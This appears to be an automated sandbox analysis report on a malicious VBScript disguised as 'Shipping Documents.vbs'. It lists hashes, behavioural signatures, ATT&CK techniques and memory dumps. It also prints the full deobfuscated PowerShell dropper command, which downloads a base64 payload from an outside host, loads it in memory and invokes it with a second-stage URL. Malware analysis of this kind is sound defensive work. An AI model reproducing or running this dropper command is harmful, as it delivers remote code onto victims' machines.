50d77e9665f36bbd70b2c09236f5c4894a10764d297eeb62f04bea73fe61d080

Analysis

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
20-09-2022 09:51

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General

Target

Shipping Documents.vbs
Size

238KB
MD5

c04015263d6b7d7c61500d4697482ded
SHA1

c8e2650daceb47092a0148ddbb01589f8e0753cf
SHA256

50d77e9665f36bbd70b2c09236f5c4894a10764d297eeb62f04bea73fe61d080
SHA512

b47ba415a8ead211b5df22d63cd7ad3362b5bff3d9dade22c3b945c5e109674a84cf90d27b5da20bdc0b4451c9a4b3622d9212953dd98527ba45e19c461585d4
SSDEEP

48:9K0VTMGN+ZjZfU6dx9MqoS3ALu0H0PzoDfqEXcGNg9IT:9Kk6jL9M+3Qu0ULmfz/T

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_nostartup

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 948 powershell.exe
5 948 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

948 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 948 powershell.exe

flow	pid	process
4	948	powershell.exe
5	948	powershell.exe

pid	process
948	powershell.exe

description	pid	process
Token: SeDebugPrivilege	948	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 560 wrote to memory of 948	560	WScript.exe	powershell.exe
PID 560 wrote to memory of 948	560	WScript.exe	powershell.exe
PID 560 wrote to memory of 948	560	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Documents.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_nostartup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.fsfgjdsvjsshdjaaaakemenn/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/560-54-0x000007FEFBB81000-0x000007FEFBB83000-memory.dmp

Filesize
8KB

Download
memory/948-55-0x0000000000000000-mapping.dmp

Download
memory/948-57-0x000007FEF3EF0000-0x000007FEF4913000-memory.dmp

Filesize
10.1MB

Download
memory/948-59-0x0000000002664000-0x0000000002667000-memory.dmp

Filesize
12KB

Download
memory/948-58-0x000007FEF3390000-0x000007FEF3EED000-memory.dmp

Filesize
11.4MB

Download
memory/948-60-0x000000000266B000-0x000000000268A000-memory.dmp

Filesize
124KB

Download
memory/948-61-0x0000000002664000-0x0000000002667000-memory.dmp

Filesize
12KB

Download
memory/948-62-0x000000000266B000-0x000000000268A000-memory.dmp

Filesize
124KB

Download